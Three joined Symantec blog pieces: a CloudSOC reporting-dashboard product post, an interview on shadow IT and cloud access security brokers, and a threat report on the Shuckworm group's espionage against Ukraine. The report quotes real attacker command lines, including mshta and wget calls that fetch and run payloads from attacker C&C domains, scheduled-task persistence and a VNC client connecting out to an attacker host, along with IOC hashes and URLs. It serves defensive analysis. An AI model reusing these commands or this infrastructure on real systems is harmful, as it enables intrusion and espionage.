Information overload is a problem I see all too often. Let’s face it, most cyber security products generate large amounts of data. Without the relevant context or granular level of detail, the problem is that data can’t help inform your next action or provide useful insight.What can a practitioner do with mountains of data? How do you sift through activity records, content inspection incidents, suspicious user detections -- not just for one but potentially thousands of monitored SaaS applications to identify use-case adherence or policy violations? What’s required is prioritization and visibility into use-case coverage. Context really helps here and we’re proud that when compared across CASB platforms, CloudSOC is more granular in the visibility it provides than most. A further complication is the inevitable variability across different organizations' security cultures and use-case prioritization. I have never seen two organizations with the same approach to cloud security, so a flexible solution is needed.
To this end, CloudSOC’s Custom Reporting Dashboards is a powerful capability. You can use it to construct tailored views for custom use-case visibility. Additionally, these dashboards can be scheduled and exported as PDF reports or shared via console with other CloudSOC admins.
Five example Use Case reports to get you started
The most successful organizations not only know how Custom Reporting Dashboards work, they also have well defined use cases. Below are five examples of custom widgets you can create with Custom Reporting Dashboards:
Pie-chart reporting on use of prohibited SaaS apps. Use CloudSOC Audit for visibility on whether prohibited SaaS apps like VPN services, code hosting repositories, PDF content conversion apps, or online presentation services are in use.
Pie chart reporting on use of redundant SaaS apps. Use CloudSOC Audit for visibility on whether SaaS apps beyond sanctioned functionality are in use. For example, if O365 is the sanctioned SaaS app for collaboration, has Box, or Google Workplace also been adopted? Are other email services in use beyond the corporate standard?
Bar chart on SaaS app usages for Apps hosted in prohibited countries. Use CloudSOC Audit to show if an employee is using a SaaS app that is hosted in a country listed in your filter.
Tables showing SaaS apps that have the “review” tag applied. Use CloudSOC Audit to show SaaS apps that have been discovered and put into a review process defined by the customer. The audit-tagging model is very useful in providing additional context as CloudSOC admins proceed with procedures on how to address Shadow IT.
Vulnerable Documents and Malware. Powered by the File Sharing Securlets widget and CloudSOC malware detection engine, this tool lists the top users whose folders (i.e., OneDrive, Box, etc.) contain malware.
Other examples of tags used by customers include:
Tolerated risk
License required
Sanctioned
Unsanctioned
Review Complete
Block
Prohibited
The use cases above are just examples. Hundreds more have been defined by CloudSOC admins. Other common considerations that have been built into dashboards are, but not limited to:
Different time intervals such as one week, one month, three months
Amount of data uploaded/downloaded to prioritize remediation
By geographical region or network segment
By SaaS app category
By SaaS app
Where do I find the dashboards?
In the CloudSOC console, click on the second icon on the left navigational pane to see the drop-down list and choose “reporting dashboard’
Are there existing dashboards I can use as starting points?
Yes, though not by default. You will notice in the upper right of the “All Dashboards” screen there is an “Import Dashboards” option. This option imports five prebuilt factory dashboards that are great templates to use as a starting point. You can also import/export dashboards as json files to share with other CloudSOC tenants, including those in a sandbox.
How the dashboards work
The dashboards are made up of one or many widgets that can provide graphical or table views for defined-use cases.
For example, below are two widgets: a pie chart and a table showing the “Top 10 most used services by traffic volume.”
Other views are available, such as the line graphs depicted below showing the “Trend of cloud service adoption by # of service use and traffic.” (Bar graphs, other views and additional color schemes are also available.)
Once in the dashboard, these widgets can be resized, moved, modified, cloned, etc. They give CloudSOC admins a way to create truly tailored views into the status of their cloud security initiative and how different use cases are being met or not. Dashboards can also be shared and exported as scheduled report links.
It is important to note that in addition to the factory default dashboards, there are dozens of prebuilt widgets in the library that can be imported into a dashboard as well as ones that can be created from scratch. There are also hundreds of filters that can be added to a widget for the broad variation seen with organizational use-case definition.
What matters most to you? Defining your Use Cases
Now that we have discussed what Custom Reporting Dashboards are and examples of common-use cases, what is it you are trying to do? What use cases do you have? What visibility is needed? Would using graphical views to help surface the most critical issues be of use? The most mature CloudSOC customers use a team approach in understanding the capabilities of the platform and establishing consensus on the dashboards they build. Take a look at the predefined use cases in the factory default dashboards and/or predefined widgets, play around with creating widgets from scratch to see what you may have been missing.
If you are a Broadcom CloudSOC customer and just discovering the functionality of the Custom Reporting Dashboard, take a look at the Knowledge Base which has great content. If you need additional assistance, contact your sales representative who can assist you in understanding what training options may be available.
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Shining a Light on Shadow IT: Jason Crist on the Future of Cloud Security
If only we could solve IT's security headaches with a magic pill.
As impatient employees demand access to new cloud-based services and devices - which sometimes don't mesh with an organization's existing security framework - they're not taking no for an answer.
Oftentimes, departmental managers go behind IT's back and procure the products on their own. But while these lone wolves may argue they are only cutting through bureaucracy and acting in the company's best interests, they also risk introducing new vulnerabilities into the network. We sat down with Jason Crist, Symantec's Regional Vice President of Sales State, Local & Education for the Western United States to find out how IT can cope with these and other myriad challenges to cloud security.
Q: Shadow IT - the unofficial, unsanctioned hardware and software like WiFi connected tablets and cell phones most workers bring to work - looks daunting from a security viewpoint. Security professionals are already swamped. What are you doing at Symantec to ease the burden?
Crist: Shadow IT is certainly a buzzword today and it's not going away anytime soon. A huge issue that enterprises face is data loss through theft or accidental sharing of data. Roughly 23% of cloud documents are shared broadly and 12% of those documents actually have sensitive, personally identifiable information including health and credit data.
Organizations depend on mobile more than ever before. Take, for instance, Salesforce's mobile app. Salesforce on the cellphone is critical for many people in sales. But you can't just lock things down to the point where people can't do their jobs, so ultimately there has to be a policy that says, "these apps we accept, and these we don't."
Symantec works with organizations to give them visibility into the cloud apps that are in use and shed light on which "unsanctioned" cloud services are potential issues. Symantec can also monitor the content and files flowing in and out of a customer's network through the web and email to make sure potentially harmful information isn't leaking out.
Clients also have to develop a policy and make sure that there is messaging and collaboration within the leadership team. You can leverage technologies to help you adhere to that policy.
Q: What are you seeing overall? Are the best IT departments looking to give their clients more freedom than before, or less?
Crist: They're being selective in what they allow. Your marketing department certainly has the right to publish on Facebook and promote the brand of the company. Yet, with controls like the ones we have at Symantec, you can allow people to go to Facebook for an hour a day, say, but not play games there. Other than marketing, there's really no reason for most workers to be on Facebook during work hours. So, no, I don't think we are headed back to the days when everything was locked down. But it's clear that organizations need to be mindful of the information and applications their people are touching.
Beyond a list of sanctioned and unsanctioned apps, good cloud security means you have controls in the data center. You have the ability to see who is accessing which app and which data within a storage environment. Then you have controls to prevent that information from seeping out, whether the intent is malicious or not.
And that's what makes Cloud Access Security Brokers (CASB) – so important right now. We are at Shadow IT V 2.0 right now. There's a lot more to pay attention to than most people realize.
We've polled IT managers and asked them: How many cloud apps do you suppose are in use by your employees? We routinely hear answers in the range of 30 or 40. The reality is much, much higher. We find 900 cloud apps, on average, on large networks. And many of these are from vendors that you've never heard of.
So, what can go wrong? Here's an example. In many cases, companies will only use the cloud for storage – let's say they set a policy that says you are allowed to use Dropbox. What happens when an employee from Company X is about to move to the competition, company Y? If he has Dropbox on his desktop, he can simply take a copy of all of his files with him. If they don't have a policy that monitors what applications employees can use from their home, and they don't have a policy that defines what they can download from their Dropbox, that data is gone. That's such a simple thing. And you wouldn't believe how often we see it happen.
Or suppose I work for a company that uses Dropbox, but I prefer SugarSync. SugarSync seems to work well because it syncs with my iPad and my PC and Mac and it does the same thing. So, I install SugarSync on my laptop. Next thing you know I'm connected to SugarSync with all corporate information in the Cloud, and there's nothing to keep me from downloading anything I want, even though I wouldn't be able to do that with Dropbox on this network. A good CASB can help prevent that.
We're in a good place in this market –in the top right of the Gartner quadrant with our CASB Solution. Our Symantec CloudSOC CASB gives not just visibility into apps that are running, but also corporate policy and control with data loss prevention so that you can really prevent important confidential information like personal health data or credit card account details from leaking out.
If you think of what firewalls do, controlling or preventing people from going places or making sure they go a certain pathway and what an intrusion prevention system (IPS) does in terms of what information is allowed and not allowed - all of these are functions our CASB does for cloud apps and content.
Additionally, it also makes sure data is not transferred from one cloud to another, like from Dropbox to SugarSync to someone's desktop. Whether it's data at rest or data in motion, you've got a way to protect and control your most critical information. There are multiple ways to do that.
Q: What's the demand for CASB and other cloud security? Will this be the next big wave?
Crist: Absolutely. In the state, local government and educational market, everyone is looking at adopting Amazon Web Services, Office 365, or numerous other cloud services because they want out of the managing of their own data center and managing the operating and capital expenditures that go along with it. They really want more of a utility model, where they can scale up and scale down without worrying about it. It's something that I would say 60 or 70% of customers are asking us for a proof of concept or more info regarding visibility or audit of different cloud providers they may be using, sanctioned or not.
Q: So, what's the bottom line? Is the cloud more secure in practice? Less?
Crist: It used to be that antivirus, gateways and firewalls were enough to keep you reasonably secure. Recently though, people have been getting into really big problems in the cloud when the crown jewels were compromised – like 120 million credit cards at one major retailer we've all heard of. That placed a massive amount of money at risk. At consumer credit agencies, it's the data of their customers -- their crown jewels – that have been compromised.
Those crown jewels are now in the cloud. Large organizations of all sorts have to become much more focused on what their sensitive data is, where that sensitive data resides and who's accessing that data, while having measures in place to make sure it's not compromised. In summary, the perimeter of your control has gone away, things are not in a central location and the days of having them in a fenced off area are gone.
IT and top management have to ask themselves, has this data been classified? Is there anyone touching it who should not? If it has been compromised we need to make sure there's s a wrap-around – that it goes to the cloud encrypted. If an authorized person is accessing that data from their home PC they have to go thru the VPN, and have to go through certain pathways. It's really evolving. I think we will see a significant uptick in data loss prevention and awareness. I just came off a tour in Texas and California. Two of the states' main agencies are looking at CASB right now. I expect the rest of the country will soon follow.
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Shuckworm Continues Cyber-Espionage Attacks Against Ukraine
Symantec investigation uncovers selection of files used in ongoing attacks.
The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent months, Symantec’s Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country.
Active since at least 2013, Shuckworm specializes in cyber-espionage campaigns mainly against entities in Ukraine. The group is known to use phishing emails to distribute either freely available remote access tools, including Remote Manipulator System (RMS) and UltraVNC, or customized malware called Pterodo/Pteranodon to targets. A recent report published by The Security Service of Ukraine (SSU) noted that Shuckworm’s attacks have grown in sophistication in recent times, with attackers now using living-off-the-land tools to steal credentials and move laterally on victim networks. Recent activity seen by Symantec is consistent with that documented by SSU.
Shuckworm activity: Case study
Symantec observed Shuckworm activity on an organization in Ukraine, which began on July 14, 2021 and continued until August 18, 2021. The attack chain began with a malicious document, likely sent via a phishing email, which was opened by the user of the infected machine. The following is a breakdown of the attackers’ activity on the compromised computer.
July 14
At 08:48 (local-time), a suspicious Word document is opened on the machine. Just five minutes after the document is opened, a suspicious command is also executed to launch a malicious VBS file (depended.lnk). This file is a known custom backdoor leveraged by Shuckworm (aka Pterodo).
wscript.exe CSIDL_PROFILE\searches\depended.lnk //e:VBScript //b
The backdoor is used to download and execute CSIDL_PROFILE\searches\depended.exe (94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b) from hxxp://92.242.62.131/wordpress.php?is=[REDACTED].
Two additional VBS scripts are observed being executed via depended.exe:
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\roaming\reflect.rar //e:VBScript //b
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\deep-thoughted. //e:VBScript //b
A scheduled task is then created to likely ensure persistence between system reboots and to execute the dropped script. This ensures the VBS file deep-thoughted.ppt is executed every 10 minutes:
SCHTASKS /CREATE /sc minute /mo 10 /tn "deep-thoughted" /tr "wscript.exe " CSIDL_COMMON_PICTURES\deep-thoughted.ppt //e:VBScript //b" /F
Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions. Since mshta.exe executes outside of Internet Explorer's security context, it also bypasses browser security settings.
"CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe hxxp://fiordan.ru/FILM.html /f id=[REDACTED]
At the same time, a new variant of Pterodo is installed via depended.exe.
Similarly to before, two additional scheduled tasks are created:
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr "wscript.exe " CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b " /F"
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName" /tr "wscript.exe " CSIDL_COMMON_VIDEO\webmedia.m3u //e:VBScript //b " /F"
The attackers continue to install variants of their backdoor and execute commands via scripts to ensure persistence:
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\22333.docx //e:VBScript //b
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\9140.d //e:VBScript //b
wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b
schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr "wscript.exe C:\Users\o.korol\AppData\Roaming\battery\battery.dat //e:VBScript //b"
"CSIDL_SYSTEM\cmd.exe" /c CSIDL_PROFILE\appdata\roaming\battery\battery.cmd
Directly after this, it appears the attackers test connectivity to a new C&C server via ping.exe:
CSIDL_SYSTEM\cmd.exe /c ping -n 1 arianat.ru
Once the connection is confirmed to be active, the attackers proceed to download another variant of their Pterodo backdoor and begin using the new C&C to download additional scripts and tools, as well as creating scheduled tasks to run every few minutes.
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\12382. //e:VBScript //b
"CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id=<?,?>
CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id=<?,?>
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "MediaConverter" /tr "wscript.exe " CSIDL_COMMON_MUSIC\mediatv.mov //e:VBScript //b " /F"
"CSIDL_SYSTEM\schtasks.exe" /CREATE /sc minute /mo 12 /tn "VideoHostName" /tr "wscript.exe " CSIDL_COMMON_VIDEO\videotv.m3u //e:VBScript //b " /F"
At this point, the attackers cease activity. However, we continue to see commands being executed from the scheduled tasks for the remainder of July 14.
July 16
At 05:28, the attackers return, and several additional variants of Pterodo are executed via CSIDL_COMMON_VIDEO\planeta.exe (1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1).
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\32440.docx //e:VBScript //b
"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\20507.d //e:VBScript //b
The attackers are then observed executing commands via planeta.exe:
CSIDL_SYSTEM\cmd.exe /c ""CSIDL_PROFILE\appdata\local\temp\7zsfx000."" ""
"CSIDL_SYSTEM\cmd.exe" /c ipconfig /flushdns
The above flushdns command may indicate that the attackers have updated the DNS records for their C&Cs, as we observed some of their tools use hard-coded domains. In this particular instance, the flushdns command was executed shortly before the attackers attempted to install additional backdoors that leveraged the same C&C.
July 28
Later, another variant of Pterodo (deep-sided.fly) was executed and was used to download and execute a new file called deerskin.exe (ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29). This file is a dropper for a VNC client. When executed, it pings google DNS (8.8.8.8) to test internet connectivity, then proceeds to drop a VNC client and establishes a connection to a remote C&C server controlled by the attackers:
"%USERPROFILE%\Contacts\DriversHood.exe" -autoreconnect -id:2097 -connect mucoris.ru:5612
Two such files have been identified that perform the same actions:
1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f
ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29
This VNC client appears to be the ultimate payload for this attack.
Between July 29 and August 18 activity continued whereby we observed the attackers deploying multiple variants of their custom VBS backdoor along with executing VBS scripts and creating scheduled tasks similar to the ones detailed above. After August 18, no further suspicious activity was observed on this machine.
During the course of this investigation, specifically post VNC client installation, a number of documents were opened from various locations on the compromised machine. It is unclear if this was legitimate user activity or the activity of the attackers attempting to collect and exfiltrate sensitive information. Titles of the documents accessed ranged from job descriptions to sensitive information pertaining to the targeted organization.
Technical descriptions
Symantec investigations uncovered a total of seven files used by Shuckworm in recent attacks. All seven files are 7-zip SFX self-extracting binaries, a format used previously in Shuckworm attacks.
descend.exe
Upon execution, the file named descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) drops a VBS file which, in turn, drops a second VBS file in the following locations:
%USERPROFILE%\Downloads\deerbrook.ppt
%PUBLIC%\Pictures\deerbrook.ppt
It then creates the following task:
SCHTASKS /CREATE /sc minute /mo 11 /tn "deerbrook" /tr "wscript.exe '<DROPPED_FOLDER>\deerbrook.ppt' //e:VBScript //b" /F
The file deerbrook.ppt (b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e) VBS file contacts a command-and-control (C&C) server at deep-pitched.enarto.ru. If the C&C server is available, a HTTP POST request is sent to download a payload, which is saved in the %USERPROFILE% folder as deep-sunken.tmp then renamed to deep-sunken.exe and executed. The binary is then deleted.
deep-sunken.exe
Upon execution, the file deep-sunken.exe (02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200) drops the following files on the compromised computer:
%APPDATA%\baby\baby.cmd
%APPDATA%\baby\baby.dat
%APPDATA%\baby\basement.exe (wget binary)
%APPDATA%\baby\vb_baby.vbs
It then creates the following task:
schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr "wscript.exe [%APPDATA%]\baby\baby.dat" //e:VBScript //b
It then connects to a C&C server (arianat.ru) to download another payload using wget:
basement.exe --user-agent="Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64::[VICTIM_ID]::/.beagle/." -q -b -c -t 2 "hxxp://arianat.ru/baby.php" -P "[%APPDATA%]\baby"
The baby.dat file is a VBS file that executes baby.cmd, which then downloads and executes the payload from the C&C server.
The vb_baby.vbs file renames the downloaded payload from baby.php to backed.exe.
The downloaded payload (backed.exe) could not be retrieved. However, the following files were also obtained during our investigation:
z4z05jn4.egf.exe
The file z4z05jn4.egf.exe (fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0) is similar to the previous file (deep-sunken.exe) but with different folders, file names, and C&C server (iruto.ru).
defiant.exe
Once executed, the file defiant.exe (a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455) drops a VBS file in the following locations:
%TEMP%\\deep-versed.nls
%PUBLIC\Pictures\deep-versed.nls
It then creates the following task:
SCHTASKS /CREATE /sc minute /mo 12 /tn \"deep-versed\" /tr \"wscript.exe \"[%PUBLIC%]\\Pictures\\deep-versed.nls\" //e:VBScript //b\" /F
The dropped file deep-versed.nls (817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc) downloads a payload from a C&C server (deep-toned.chehalo.ru) and saves it as deep-green.exe in the following location:
%PUBLIC%\Downloads
deep-green.exe
The file deep-green.exe (1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f) contains an UltraVNC binary, which upon execution connects to a repeater (mucoris.ru:5612) using the following command line:
-autoreconnect -id:%RANDOM% -connect mucoris.ru:5612
UltraVNC is an open-source remote-administration/remote-desktop-software utility.
deep-green.exe
A second file named deep-green.exe (f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa) contain a Process Explorer (procexp) binary.
Process Explorer is a freeware task manager and system monitor for Microsoft Windows.
deep-green.exe
A third file called deep-green.exe (de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a) is similar to descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) just with different file names and C&C server (deer-lick.chehalo.ru).
deep-green.exe
The fourth and final file named deep-green.exe (d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7) drops a VBS file in the following location:
%PUBLIC%\Music\
It then creates the following task:
"/CREATE /sc minute /mo 12 /tn \"MediaConverter\" /tr \"wscript.exe \"C:\\Users\\Public\\Music\\MediaConvertor.dat\" //e:VBScript //b \" /F"
The MediaConvertor.dat file searches for removable drives and creates a .lnk file with the following command:
mshta.exe hxxp://PLAZMA.VIBER.ontroma.ru/PLAZMA.html /f id=January
IOC patterns
Analysis of the many indicators of compromise (IOCs) uncovered during our investigations have revealed the following patterns, which may be of use when defending networks from Shuckworm attacks:
Most URL C&C IPs belong to the short list of hosting providers listed in the SSU report, namely AS9123 TimeWeb Ltd. (Russia).
Most discovered suspected C&C URLs are IP-based URLs and use a unique URI structure:
http + IP + /<some-word>.php?<some-word>=<1-integer>,<5-7-rand-alphanums> OR
http + IP + /<some-word>.php?<some-word>=<1-integer>,<5-7-rand-alphanums>-<2-integers>
Most suspected malicious files are found in one of a short list of directories:
csidl_profile\links
csidl_profile\searches
CSIDL_PROFILE\appdata\local\temp\
CSIDL_PROFILE\
Nearly all the suspected malicious files are made up of a word beginning with the letter "d" and a few are composed of two words separated by a "-" (first word also starting with "d"). Examples include:
deceive.exe
deceived.exe
deception.exe
deceptive.exe
decide.exe
decided.exe
decipher.exe
decisive.exe
deep-sunken.exe
deep-vaulted.exe
Detected command lines are simple and consist of just the binary path + name; no switches, etc.
Many suspected malicious files have unknown parent process hashes, none of which have available information.
According to a November 2021 report from the SSU, since 2014 the Shuckworm group has been responsible for over 5,000 attacks against more than 1,500 Ukrainian government systems. As evidenced by Symantec’s recent investigations into attempted Shuckworm attacks against a number of organizations in Ukraine, this activity shows little sign of abating.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IOCs)
SHA256 Filename URL
b5066b868c7ddbe0d41ee1526d76914f732ed7ce75ccf69caaefe0fed1c9182c depended.exe hxxp://92.242.62.131/wordpress.php?is=[REDACTED]
32d24fc67ab84789cd000c22ea377d8c80bcbc27784366a425da2d1874439d09 deputy.exe
40183c41395eccd076a6baf0c16a6c6e7e44f6f6d6366ef885228144f631a9a6 dessert.exe htxxp://78.40.219.12/load.php?individual=[REDACTED]
14061ecc1c870bc941a39451cd6e90c4ec575bbc05c1f2b1362e0d374dc0c06e deep-thinking.exe hxxp://89.223.65.220/cunning.php
ff3e78c8994d3cc1b5c7545ebd5e1dcbab430167f1c3333f4ddad509d06176ed demanded.exe hxxp://78.40.219.12/cache.php?induce=[REDACTED]
d9b7644923d2250ba6ea374a05f1d7054cc5704a61f196420670412eb79d1d4e deep-versed.exe hxxp://168.119.228.72/crawled.php
53be28a251260e4f6d818a0dcae30280b5db6f1791780bb9bac0633523bf3ac3 deep-vaulted.exe
c561b862934f329f2f524bb019b24f8bd729c00cf8bea5135a6e51148d5d9208 deepmouthed.nls
5c18878e6d36906f9349ea404f0e3fa0e4b4432e663b3d58a738510b3e3c08e2 deermeat.fly
93d8940cde9e12c2a6ab7a13d5ff0973b907ebecf524b18742746a17209c8e3e avidemux.mov
ae9e9634a1354f5ee89f838f4297f3d38378db17fac73bf2c59cbdd86ea7812c deering.docx
d83d9fa9cb38abd66e13f4d3b3b6b647facd9ffe28d766685744c6a92e6409b1 deep-thinking.doc
c590724cd5e5813cb43f85a1c89fdc128241398cd677974202524f969813071c deep-sided.fly
5b61e385d9f2801953a6149a6e63bc3790dc686f147e91163584c7833dd3d7b1 deep-thoughted.ppt
18d9744147bde7d2cd4322391f9ee5fa828b4b23ba669e87a71d39ee84fb1278 deck.lnk
223c55ede1303d47b8516546ee2536cce8539d761790fd3b9657ba5bd869040e departed.lnk
2afa203a5589ce0e6c01868b7203edc2fa8faa9c9227d717533cf7e156408e28 deep-six.doc
218b41eabe00c38f42aa51732ac922a43dfab9375ee6db33227a4a66e2c10798 desired.dat
a7955a8ed1a3c4634aed8a353038e5ac39412a88481f453c56c9b9cf7479c342 avsvideoeditor.m3u
02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200 deep-sunken.exe
43d4d4eeac6ced784911ac4d6b24768d7875347a7d018850d8ee79aaef664286 depart.dat
28f8653c8bf051d19be31b6be9ac00d0220b845757f747358ab116684707fa7a deprive.dat
ef6073f7372b4774849db8c64a1b33bd473d3ba10ecadbf4f08575b1d8f06c30 descend.dat
73d5bb5d4dfbdfe0fe845c9bfea06739cc767021b50327ddb4ef040940fed22f deerbrook.ppt
64c291658a2bcba368c87967fd72fabfe0532e4092b4934e91e80cca16ae036d deserted.exe hxxp://188.225.86.146/load.php?insurance=[REDACTED]
a078871d89d3f8d22ed77dc331000529a0598f27cf56c6eda32943a9ee8a952c descend.dat
fa1821b75cc3931a49cead2242a1b0c8976c1e1d4e7425a80e294e8ddc976061 defy.dat
bc469ecc8ed888e3965377d5eb133c97faacabd1fe0ff49ab8d777ba57c16fd3 demand.dat
f2492a8000e0187a733f86dcf3a13206199e3354a86609967fb572e1079feee2 declare.dat
2f2cad1c9ca8c17aa5bc126df43bfc14dcba3f278d41151bf847278ba1ec940c deep-grown.exe
f216bafa84123bacaabdf4ad622eb80d0e2d8425fd8937dc100d65bdc1af725e deep-musing.mp3
f10fea8314f0c904b00b2d10cee1d1320bab7afa36220fb9c9953e3382e62bc4 deep-versed.exe hxxp://188.225.45.240/crawled.php
7e703586f6ae3b8c4c0086f5a00254c00debf0273525e4cea216497fe7fcf144 desolate.dat
50e9f2472966d469807c36b3d464e6bf2cf99b98b00cc62e4edda7180bac061b depended.dat
fce3b4af6b891ee95c1819a1d9ace13b9be20fd50e25ecc3b18b8cb06419f0cb defined.dat
b1c5659bca42a57a8c9408153126eb60cd88168650d747885e3903e051cad023 demonstrate.dat
5e579ac1dae325b86ed964ea00926e902a6d32a7d37d8eed4b40db7caed303f6 deerbrook.docx
55d8fd4e56523725ad11ccacfb618324360c658c5f44c4f157df6a569cb0277b destroyed.dat
b6874d2b8ff8c925960ee7e686aecca6a9fc8ab92e5db66fa110da0430ee0edc declined.dat
5f9bc1ff8ab3d0ced84262a7f8f70d12a5077761eed33540300f809427153f67 defeat.dat
676dd5c0f2cf64b726c69d448fd585e72ac747b808fdfb0dd6a3a32d93607ab5 deceive.dat
bbf7220635908afede0eebc7e83ba2eb836526490d16b15305cacb96f65d6e6d deserter.dat
8a2dfe7f8dcc65b1fcfc0e22d21a6846f682c948da4e887a844d54745d85d316 deepness.ini
e427595a3dd2dc501adb4c083308e4900a13ca571e99117e7939964423ef744a decidedly.dat
89f7d574e51a5ab58296c854ab1889fc6dc2556e8d204ce4b338775b934ad9a8 decorate.lnk
6f4367872de08e9d087f6e8ab874db053eee0cc3aefc80d08f6cf98de7cefd2c deep-thinking.exe hxxp://37.77.105.102/cunning.php
091a1d5b947382d5e95f7e0177e92970618b72f5bb396c2f400fdd496a95c4dc deliverance.lnk
78c4fcbd6d12c72fcf132b280c0641ea15566d07b779d37cf2c770c8eae941a2 depth.lnk
521d7daa30ee393c9d5f7ce7f0ecb2d59c6698080932c247752768ae876ffd4a definite.lnk
a707e779e5b228f670ed09777ccacfb75af8a36c34323af7790290d70bca0083 deepwater.avi
f59b8a22ee610741acdce9a9cec37b63b0684493dd292323c522fdca72afd1b9 defender.exe hxxp://87.249.54.15/load.php?intelligent=[REDACTED]
5aba3e24b78100834563aa08385ffc7068a241b9bdd99b11a4f527d79f65b4fe departure.exe hxxp://92.53.97.112/index.php?irresponsibility=[REDACTED]
41b1e90461b5738deade6858a626c44ba9050b3ea425dc8092ca0d84daddb236 deerberry.exe hxxp://217.25.94.152/customer.php
ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29 deerskin.exe hxxp://188.225.58.51/craft.php
6cd7b58ae6036ccbb8a3f9d28239b26da30d60bbcd710c9ffbec4c88a6b602d4 dependent.lnk
1c0110a4f862b54196676c4a77250ea5a5e1ec5be48071f794227769bd25e8de film.exe hxxp://188.225.25.7/WHATSAAP.php
83e631e396dc33b9b05d9d829ba19a20c4b821be35bf081494a79851f2e00dbe dense.lnk
5271f59f0983382ac3e615265a904d044f8e3825c3d60b3d39a6e9a14bb3e780 deep-versed.exe hxxp://89.223.120.224/crawled.php
86f4ca8ea0fc981c804f1e87147aa2c55f73ddfbc2b0be602af240fad6b36b36 decision.txt
b449513b9eeaace805518125def9edf11b63567701a9275b6dd1bddf831f035f deep-revolving.fly
ae05bb40000bc961ce901c082c3c2adb8bd9d8c4cf3f1addc4e75db6c498479a demanded.txt
5dec1de8357b7f1868e62d7c8df8163e3e4ba49ec8c127418affd9c53b85201b film.exe hxxp://188.225.47.250/WHATSAAP.php
ecc9619c534fbaa2f6c630597a58d307badee1ea0a393c10c8c43aa11b65d01b decisive.dat
f46638bb3b63178b3b0bab886f643b791733178bd5e06fad19e86da978286c52 delightful.lnk
ea22414a4a9bed4bcaf8917a25ac853deb150feb693acc78b1ed8ae07cc2ac27 despair.dat
23a3481740118ae04af1699b7c02e9e450ff965d2ec72324481d5cd051394989 decoy.dat
05f1560026ad88eeb6c038239c87057743d942dbc6b64b14526e13d0415768dc defense.dat
ecadbc36c2ccab444df9b0ff59bcf5592e61d50b87c07fe1d82342058b6aa261 defined.dat
e4afb1d75061ec13d1988bc4990b352cf2a7d474133c3474fd0c3c2e0672fca0 descent.dat
f9259ff9c86927dcf987123ec193e1270b00ae62b7ad6f2757b5689451be0b8a desperate.dat
9bdb4c7a5072e64446a851829d1303e123d5d8300b99b5c1de382765e7b06eb3 designer.dat
0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137 descend.exe hxxp://87.249.53.178/set.php?ingratitude=[REDACTED]
82d04cdef87ace65ccf20b3f2623b0115e3413334f681616c67b7f402fad66e0 desolate.exe hxxp://87.249.53.116/cache.php?insane=[REDACTED]
b63c8fcebf1a419c560b84c5e652fe7235c60473a8a1750d2f1307c05e7a6669 delivery.dat
518370ed9b1a507a0e86e82e2bf8a267251691bce822d4b1419f93563937ebad delivery.exe hxxp://87.249.53.216/sys.php?indoors=[REDACTED]
f14ce6142a54878e5dccbfda83b27bc861b57e1be61d5a669a2875a048516e73 deserves.dat
4de8d004ce3d223a67b89cfa45e837a9f90ce13408215e9c98d5b04820c64088 delivery.exe hxxp://87.249.53.216/sys.php?indoors=[REDACTED]
